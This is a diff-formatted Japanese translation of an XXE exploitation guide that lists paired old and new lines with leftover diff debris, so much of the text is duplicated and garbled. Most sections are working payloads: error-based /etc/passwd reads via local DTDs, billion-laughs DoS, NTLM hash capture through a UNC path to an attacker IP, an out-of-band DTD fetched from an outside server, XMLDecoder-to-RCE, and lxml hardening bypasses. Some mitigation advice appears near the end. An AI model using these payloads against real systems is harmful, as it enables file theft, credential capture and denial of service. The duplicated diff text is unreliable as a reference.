_**外部DTDを使用すると、2番目の`eval`内に1つのエンティティを含めることができますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません(通常)。**_
|
||||
_**外部DTDは、2番目の`eval`内に1つのエンティティを含めることを許可しますが、内部DTDでは禁止されています。したがって、外部DTDを使用せずにエラーを強制することはできません(通常)。**_
|
||||
|
||||
### **エラーに基づく(システムDTD)**
|
||||
|
||||
では、**アウトオブバンドの相互作用がブロックされている**場合の盲目的なXXE脆弱性はどうでしょうか(外部接続が利用できない)?
|
||||
|
||||
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させる**ことができます。この問題により、外部で宣言されたエンティティの内部再定義が可能になり、エラーに基づくXXE攻撃の実行が容易になります。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
|
||||
XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言を混合する際にエラーメッセージを通じて機密データを露出させる**ことができます。この問題は、外部で宣言されたエンティティの内部再定義を可能にし、エラーに基づくXXE攻撃の実行を促進します。このような攻撃は、外部DTDで元々宣言されたXMLパラメータエンティティの再定義を利用します。サーバーによってアウトオブバンド接続がブロックされている場合、攻撃者は攻撃を実行するためにローカルDTDファイルに依存し、機密情報を明らかにするために解析エラーを誘発することを目指します。
|
||||
|
||||
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティが定義されているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
|
||||
サーバーのファイルシステムに`/usr/local/app/schema.dtd`にDTDファイルが含まれており、`custom_entity`というエンティティを定義しているシナリオを考えてみましょう。攻撃者は、次のようにハイブリッドDTDを提出することで、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーを誘発できます。
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -165,13 +165,13 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
このDTDによって実行される手順は以下の通りです:
|
||||
このDTDによって示された手順が実行されます:
|
||||
|
||||
- `local_dtd`という名前のXMLパラメータエンティティの定義には、サーバーのファイルシステム上にある外部DTDファイルが含まれています。
|
||||
- 外部DTDで元々定義されていた`custom_entity` XMLパラメータエンティティの再定義が行われ、[エラーに基づくXXEエクスプロイト](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)をカプセル化します。この再定義は、パースエラーを引き起こし、`/etc/passwd`ファイルの内容を露出させることを目的としています。
|
||||
- `local_dtd`エンティティを使用することで、外部DTDが呼び出され、新たに定義された`custom_entity`が含まれます。この一連のアクションにより、エクスプロイトが狙うエラーメッセージが発生します。
|
||||
|
||||
**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDが存在することがよくあります。
|
||||
**実世界の例:** GNOMEデスクトップ環境を使用しているシステムでは、`/usr/share/yelp/dtd/docbookx.dtd`に`ISOamso`というエンティティを含むDTDがあります。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
@ -188,7 +188,7 @@ XML言語仕様の抜け穴は、**文書のDTDが内部および外部の宣言
|
||||
```
|
||||
.png>)
|
||||
|
||||
この技術は**内部DTDを使用するため、まず有効なものを見つける必要があります**。サーバーが使用しているのと同じ**OS / ソフトウェア**を**インストール**し、**いくつかのデフォルトDTDを検索する**か、システム内の**デフォルトDTDのリストを取得**して、どれかが存在するかを**確認**することができます:
|
||||
この技術は**内部DTDを使用するため、まず有効なものを見つける必要があります**。サーバーが使用しているのと同じ**OS / ソフトウェア**を**インストール**し、**いくつかのデフォルトDTDを検索する**か、システム内の**デフォルトDTDのリストを取得**して、どれかが存在するかを**確認**することができます:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -205,7 +205,7 @@ For more information check [https://portswigger.net/web-security/xxe/blind](http
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を見つけることができます。方法を学ぶには、[GitHubのReadme](https://github.com/GoSecure/dtd-finder)を読んでください。
|
||||
さらに、**被害者システムのDockerイメージ**を持っている場合は、同じリポジトリのツールを使用して、**イメージ**を**スキャン**し、システム内に存在する**DTDのパス**を**見つける**ことができます。方法を学ぶには、[GitHubのReadme](https://github.com/GoSecure/dtd-finder)を読んでください。
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -225,17 +225,17 @@ Testing 0 entities : []
|
||||
|
||||
この脆弱性をテストするには、**XXEペイロードを含むMicrosoft Officeファイルを作成する必要があります**。最初のステップは、ドキュメントを解凍できる空のディレクトリを作成することです。
|
||||
|
||||
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ(例えばvim)で編集します。XMLは、HTTPリクエストで始まることが多い希望するXXEペイロードを含むように修正する必要があります。
|
||||
ドキュメントが解凍されたら、`./unzipped/word/document.xml` にあるXMLファイルを開き、好みのテキストエディタ(例えばvim)で編集します。XMLは、HTTPリクエストで始まることが多い、望ましいXXEペイロードを含むように修正する必要があります。
|
||||
|
||||
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用のモニタ可能なURLに置き換えることが重要です。
|
||||
修正されたXML行は、2つのルートXMLオブジェクトの間に挿入する必要があります。リクエスト用にモニタ可能なURLに置き換えることが重要です。
|
||||
|
||||
最後に、ファイルを圧縮して悪意のある poc.docx ファイルを作成できます。以前に作成した「unzipped」ディレクトリから、次のコマンドを実行する必要があります:
|
||||
|
||||
作成したファイルは、潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。
|
||||
作成したファイルを潜在的に脆弱なウェブアプリケーションにアップロードでき、Burp Collaborator のログにリクエストが表示されることを期待できます。
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** プロトコルは、**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip`、`.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルファイルとリモートファイルの両方に対応しています。
|
||||
**jar** プロトコルは、**Javaアプリケーション**内でのみアクセス可能です。これは、**PKZIP** アーカイブ(例:`.zip`、`.jar` など)内のファイルアクセスを可能にするように設計されており、ローカルおよびリモートファイルの両方に対応しています。
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -246,7 +246,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセスするプロセスは、いくつかのステップを含みます:
|
||||
|
||||
1. 指定された場所からzipアーカイブをダウンロードするためにHTTPリクエストが行われます。例えば、`https://download.website.com/archive.zip`のような場所です。
|
||||
2. アーカイブを含むHTTPレスポンスがシステムに一時的に保存されます。通常は`/tmp/...`のような場所です。
|
||||
2. アーカイブを含むHTTPレスポンスは、通常`/tmp/...`のような場所に一時的にシステムに保存されます。
|
||||
3. アーカイブが抽出され、その内容にアクセスします。
|
||||
4. アーカイブ内の特定のファイル`file.zip`が読み取られます。
|
||||
5. 操作後、このプロセス中に作成された一時ファイルは削除されます。
|
||||
@ -257,7 +257,7 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートするのに役立つ可能性があります**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。
|
||||
> 一時ディレクトリにファイルを書き込むことは、**パス・トラバーサルに関わる別の脆弱性をエスカレートさせるのに役立つ可能性があります**(ローカルファイルインクルード、テンプレートインジェクション、XSLT RCE、デシリアライズなど)。
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -265,7 +265,7 @@ PKZIPアーカイブ内のファイルにjarプロトコルを介してアクセ
|
||||
```
|
||||
### DoS
|
||||
|
||||
#### Billion Laugh Attack
|
||||
#### ビリオンラフ攻撃
|
||||
```xml
|
||||
<!DOCTYPE data [
|
||||
<!ENTITY a0 "dos" >
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### NTMLの取得
|
||||
|
||||
Windowsホストでは、responder.pyハンドラーを設定することでウェブサーバーユーザーのNTMLハッシュを取得することが可能です:
|
||||
Windowsホストでは、responder.pyハンドラーを設定することで、ウェブサーバーユーザーのNTMLハッシュを取得することが可能です:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -304,15 +304,15 @@ Responder.py -I eth0 -v
|
||||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Then you can try to crack the hash using hashcat
|
||||
その後、hashcatを使用してハッシュをクラックすることができます。
|
||||
|
||||
## 隠れたXXEの出現
|
||||
|
||||
### XInclude
|
||||
|
||||
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約により従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
|
||||
クライアントデータをサーバー側のXMLドキュメントに統合する際、バックエンドのSOAPリクエストのように、XML構造に対する直接的な制御はしばしば制限され、`DOCTYPE`要素の変更に対する制約のために従来のXXE攻撃が妨げられます。しかし、`XInclude`攻撃は、XMLドキュメントの任意のデータ要素内に外部エンティティを挿入することを可能にすることで解決策を提供します。この方法は、サーバー生成のXMLドキュメント内のデータの一部のみを制御できる場合でも効果的です。
|
||||
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
|
||||
`XInclude`攻撃を実行するには、`XInclude`名前空間を宣言し、意図する外部エンティティのファイルパスを指定する必要があります。以下は、そのような攻撃がどのように構成されるかの簡潔な例です:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -322,7 +322,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
ユーザーが特定のアプリケーションにアップロードしたファイルは、サーバーで処理される際に、XMLまたはXMLを含むファイル形式の取り扱いにおける脆弱性を悪用する可能性があります。一般的なファイル形式であるオフィス文書(DOCX)や画像(SVG)は、XMLに基づいています。
|
||||
|
||||
ユーザーが**画像をアップロード**すると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、**サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります**。SVGはXMLベースの形式であるため、攻撃者が悪意のあるSVG画像を提出することで、サーバーをXXE(XML外部エンティティ)脆弱性にさらすことができます。
|
||||
ユーザーが**画像をアップロード**すると、これらの画像はサーバー側で処理または検証されます。PNGやJPEGなどの形式を期待するアプリケーションであっても、**サーバーの画像処理ライブラリはSVG画像もサポートしている可能性があります**。XMLベースの形式であるSVGは、攻撃者によって悪意のあるSVG画像を提出するために悪用され、サーバーをXXE(XML外部エンティティ)脆弱性にさらすことができます。
|
||||
|
||||
以下にそのような攻撃の例を示します。悪意のあるSVG画像がシステムファイルを読み取ろうとしています:
|
||||
```xml
|
||||
@ -336,13 +336,13 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
```
|
||||
SVG形式は、サーバーのソフトウェアのXML処理機能を悪用する攻撃を開始するために使用され、堅牢な入力検証とセキュリティ対策の必要性を強調しています。
|
||||
|
||||
詳細については[https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)を確認してください!
|
||||
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
|
||||
|
||||
**読み込まれたファイルの最初の行または実行結果は、作成された画像の中に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
|
||||
**読み込まれたファイルの最初の行または実行結果は、作成された画像の内部に表示されます。したがって、SVGが作成した画像にアクセスできる必要があります。**
|
||||
|
||||
### **PDF - ファイルアップロード**
|
||||
|
||||
次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**:
|
||||
次の投稿を読んで、**PDFファイルをアップロードしてXXEを悪用する方法を学んでください**:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -350,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
|
||||
### Content-Type: x-www-urlencodedからXMLへ
|
||||
|
||||
POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合:
|
||||
POSTリクエストがXML形式のデータを受け入れる場合、そのリクエストでXXEを悪用しようとすることができます。たとえば、通常のリクエストに次のような内容が含まれている場合:
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: From JSON to XEE
|
||||
|
||||
リクエストを変更するには、「**Content Type Converter**」というBurp拡張機能を使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます:
|
||||
リクエストを変更するには、「**Content Type Converter**」というBurp Extensionを使用できます。[Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) でこの例を見つけることができます:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -404,11 +404,11 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
この操作は、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
|
||||
これは、XMLサーバーが `data://` プロトコルを受け入れる場合にのみ機能します。
|
||||
|
||||
### UTF-7
|
||||
|
||||
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます。
|
||||
ここで \[**"Encode Recipe**" of cyberchef\]を使用できます \(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)から\]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29から](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29に変換します。
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -422,14 +422,14 @@ Content-Type: application/xml;charset=UTF-8
|
||||
```
|
||||
### File:/ プロトコルバイパス
|
||||
|
||||
ウェブがPHPを使用している場合、`file:/`の代わりに**phpラッパー**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
|
||||
ウェブがPHPを使用している場合、`file:/`の代わりに**php wrappers**`php://filter/convert.base64-encode/resource=`を使用して**内部ファイル**にアクセスできます。
|
||||
|
||||
ウェブがJavaを使用している場合は、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認してください。
|
||||
ウェブがJavaを使用している場合、[**jar: プロトコル**](xxe-xee-xml-external-entity.md#jar-protocol)を確認できます。
|
||||
|
||||
### HTMLエンティティ
|
||||
|
||||
[**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)からのトリック\
|
||||
**エンティティ内のエンティティ**を作成し、**htmlエンティティ**でエンコードしてから、**dtdをロード**するために呼び出すことができます。\
|
||||
**エンティティ内のエンティティ**を**htmlエンティティ**でエンコードして作成し、それを呼び出して**dtdをロード**できます。\
|
||||
使用する**HTMLエンティティ**は**数値**である必要があります(例えば\[この例\]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -474,9 +474,9 @@ DTDの例:
|
||||
```
|
||||
## XLIFF - XXE
|
||||
|
||||
この例は[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)にインスパイアされています。
|
||||
この例は[https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)に触発されています。
|
||||
|
||||
XLIFF (XML Localization Interchange File Format) は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation) ツールの共通交換フォーマットとしても使用されます。
|
||||
XLIFF (XML Localization Interchange File Format)は、ローカリゼーションプロセスにおけるデータ交換を標準化するために利用されます。これは、主にローカリゼーション中にツール間でローカライズ可能なデータを転送するために使用されるXMLベースのフォーマットであり、CAT (Computer-Aided Translation)ツールの共通交換フォーマットとしても使用されます。
|
||||
|
||||
### Blind Request Analysis
|
||||
|
||||
@ -534,7 +534,7 @@ Error-Based Data Exfiltration この制限を克服するために、Error-Based
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
この変更により、HTTP経由で送信されるエラー出力に反映されるファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。
|
||||
この修正により、HTTP経由で送信されるエラー出力に反映されるように、ファイルの内容が正常に抽出されます。これは、機密情報を抽出するためにOut of BandおよびError-Based技術の両方を利用した成功したXXE(XML External Entity)攻撃を示しています。
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
@ -609,7 +609,7 @@ PHPのbase64フィルターを使用する
|
||||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに任意のデータを**readObject**メソッドへの呼び出しで使用させることができれば、彼は瞬時にサーバー上でコード実行を得ることになります。
|
||||
XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成するJavaクラスです。悪意のあるユーザーがアプリケーションに**readObject**メソッドへの呼び出しで任意のデータを使用させることができれば、彼は瞬時にサーバー上でコード実行を得ることになります。
|
||||
|
||||
### Using Runtime().exec()
|
||||
```xml
|
||||
@ -671,11 +671,11 @@ XMLDecoderは、XMLメッセージに基づいてオブジェクトを作成す
|
||||
</void>
|
||||
</java>
|
||||
```
|
||||
## XXE + WrapWrap + Lightyear + bypasses
|
||||
## XXE + WrapWrap + Lightyear + バイパス
|
||||
|
||||
この素晴らしいレポートを見てください [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
|
||||
|
||||
## Tools
|
||||
## ツール
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/luisfontes19/xxexploiter
|
||||
@ -684,16 +684,16 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml パラメータエンティティ XXE (エラーに基づくファイル開示)
|
||||
|
||||
> [!INFO]
|
||||
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づく XXE ペイロードが可能になります。
|
||||
> Pythonライブラリ **lxml** は内部で **libxml2** を使用しています。 **lxml 5.4.0 / libxml2 2.13.8** より前のバージョンは、`resolve_entities=False` の場合でも *parameter* エンティティを展開し続け、アプリケーションが `load_dtd=True` および/または `resolve_entities=True` を有効にするとアクセス可能になります。 これにより、ローカルファイルの内容をパーサーエラーメッセージに埋め込むエラーに基づくXXEペイロードが可能になります。
|
||||
|
||||
#### 1. lxml < 5.4.0 の悪用
|
||||
1. **未定義** パラメータエンティティ (例: `%config_hex;`) を定義する *ローカル* DTD をディスク上で特定または作成します。
|
||||
2. 内部 DTD を作成します:
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカル DTD を読み込みます。
|
||||
* 未定義エンティティを再定義して、次のようにします:
|
||||
1. **未定義**のパラメータエンティティを定義する*ローカル* DTDをディスク上で特定または作成します(例: `%config_hex;`)。
|
||||
2. 内部DTDを作成します:
|
||||
* `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` でローカルDTDを読み込みます。
|
||||
* 未定義のエンティティを再定義し、次のようにします:
|
||||
- 対象ファイルを読み取ります (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`)。
|
||||
- `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーをトリガーします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最後に `%local_dtd;` と `%eval;` を展開して、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。
|
||||
- `%flag;` 値を含む **無効なパス** を参照する別のパラメータエンティティを構築し、パーサーエラーを引き起こします (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`)。
|
||||
3. 最後に `%local_dtd;` と `%eval;` を展開し、パーサーが `%error;` に遭遇し、`/aaa/<FLAG>` を開けずに失敗し、スローされた例外内にフラグを漏洩させます – これはしばしばアプリケーションによってユーザーに返されます。
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -709,12 +709,12 @@ https://github.com/luisfontes19/xxexploiter
|
||||
Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
```
|
||||
> [!TIP]
|
||||
> パーサーが内部サブセット内の`%`/`&`文字について文句を言う場合は、それらを二重エンコードします(`&#x25;` ⇒ `%`)以降の展開を遅らせるためです。
|
||||
> パーサーが内部サブセット内の`%`/`&`文字について文句を言う場合、それらを二重エンコードします(`&#x25;` ⇒ `%`)以降の展開を遅らせるために。
|
||||
|
||||
#### 2. lxml 5.4.0のハードニングを回避する(libxml2は依然として脆弱)
|
||||
`lxml` ≥ 5.4.0は上記のような*error*パラメータエンティティを禁止していますが、**libxml2**はそれらを*general*エンティティに埋め込むことを依然として許可しています。トリックは次のとおりです:
|
||||
`lxml` ≥ 5.4.0は上記のような*error*パラメータエンティティを禁止していますが、**libxml2**はそれらを*general*エンティティに埋め込むことを依然として許可しています。トリックは次の通りです:
|
||||
1. ファイルをパラメータエンティティ`%file`に読み込みます。
|
||||
2. *non-existent protocol*(存在しないプロトコル)を使用する**general**エンティティ`c`を構築する別のパラメータエンティティを宣言します。例えば`meow://%file;`のようにします。
|
||||
2. *non-existent protocol*(存在しないプロトコル)を使用する**general**エンティティ`c`を構築する別のパラメータエンティティを宣言します。例えば`meow://%file;`。
|
||||
3. XMLボディに`&c;`を配置します。パーサーが`meow://…`を逆参照しようとすると失敗し、エラーメッセージにファイルの内容を含む完全なURIが反映されます。
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
@ -729,7 +729,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
#### 主なポイント
|
||||
* **パラメータエンティティ**は、`resolve_entities`がXXEをブロックすべきであっても、libxml2によって依然として展開されます。
|
||||
* **無効なURI**または**存在しないファイル**は、制御されたデータをスローされた例外に連結するのに十分です。
|
||||
* この技術は**外部接続なし**で機能し、厳格に出口フィルタリングされた環境に最適です。
|
||||
* この技術は**アウトバウンド接続なし**で機能し、厳格に出口フィルタリングされた環境に最適です。
|
||||
|
||||
#### 緩和ガイダンス
|
||||
* **lxml ≥ 5.4.0**にアップグレードし、基盤となる**libxml2**が**≥ 2.13.8**であることを確認してください。
|
||||
@ -765,15 +765,15 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
アプリケーションが内部でDTDをサポートする必要がある場合、`disallow-doctype-decl`を無効のままにしておきますが、**常に**2つの`external-*-entities`機能は`false`に設定しておきます。この組み合わせにより、古典的なファイル開示ペイロード(`file:///etc/passwd`)やネットワークベースのSSRFベクター(`http://169.254.169.254/…`、`jar:`プロトコルなど)を防ぐことができます。
|
||||
|
||||
実際のケーススタディ: **CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で上記の脆弱なコンストラクターを使用しました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル(例えば`/etc/passwd`)を埋め込むことを可能にしました。
|
||||
実際のケーススタディ:**CVE-2025-27136**は、Java S3エミュレーター*LocalS3*で上記の脆弱なコンストラクターを使用していました。認証されていない攻撃者は、`CreateBucketConfiguration`エンドポイントに細工されたXMLボディを提供し、サーバーがHTTPレスポンスにローカルファイル(例えば`/etc/passwd`)を埋め込むことができました。
|
||||
|
||||
### JMF/印刷オーケストレーションサービスにおけるXXE → SSRF
|
||||
|
||||
一部の印刷ワークフロー/オーケストレーションプラットフォームは、TCP経由でXMLを受け入れるネットワーク向けのジョブメッセージフォーマット(JMF)リスナーを公開しています。基盤となるパーサーが`DOCTYPE`を受け入れ、外部エンティティを解決する場合、古典的なXXEを利用してサーバーに外部リクエスト(SSRF)を強制させたり、ローカルリソースにアクセスさせたりすることができます。
|
||||
一部の印刷ワークフロー/オーケストレーションプラットフォームは、TCP経由でXMLを受け入れるネットワーク向けのジョブメッセージングフォーマット(JMF)リスナーを公開しています。基盤となるパーサーが`DOCTYPE`を受け入れ、外部エンティティを解決する場合、古典的なXXEを利用してサーバーに外部リクエスト(SSRF)を強制させたり、ローカルリソースにアクセスさせたりすることができます。
|
||||
|
||||
実際に観察された重要なポイント:
|
||||
実際に観察された重要なポイント:
|
||||
- 専用ポート(一般的にXerox FreeFlow Coreでは4004)でのネットワークリスナー(例:JMFクライアント)。
|
||||
- `disallow-doctype-decl`やエンティティ解決が無効になっていないjar内のJavaベースのXMLパース。
|
||||
- `disallow-doctype-decl`やエンティティ解決が無効のままのjar内のJavaベースのXMLパース。
|
||||
- アウトオブバンドコールバックが確実にエクスプロイトを確認します。
|
||||
|
||||
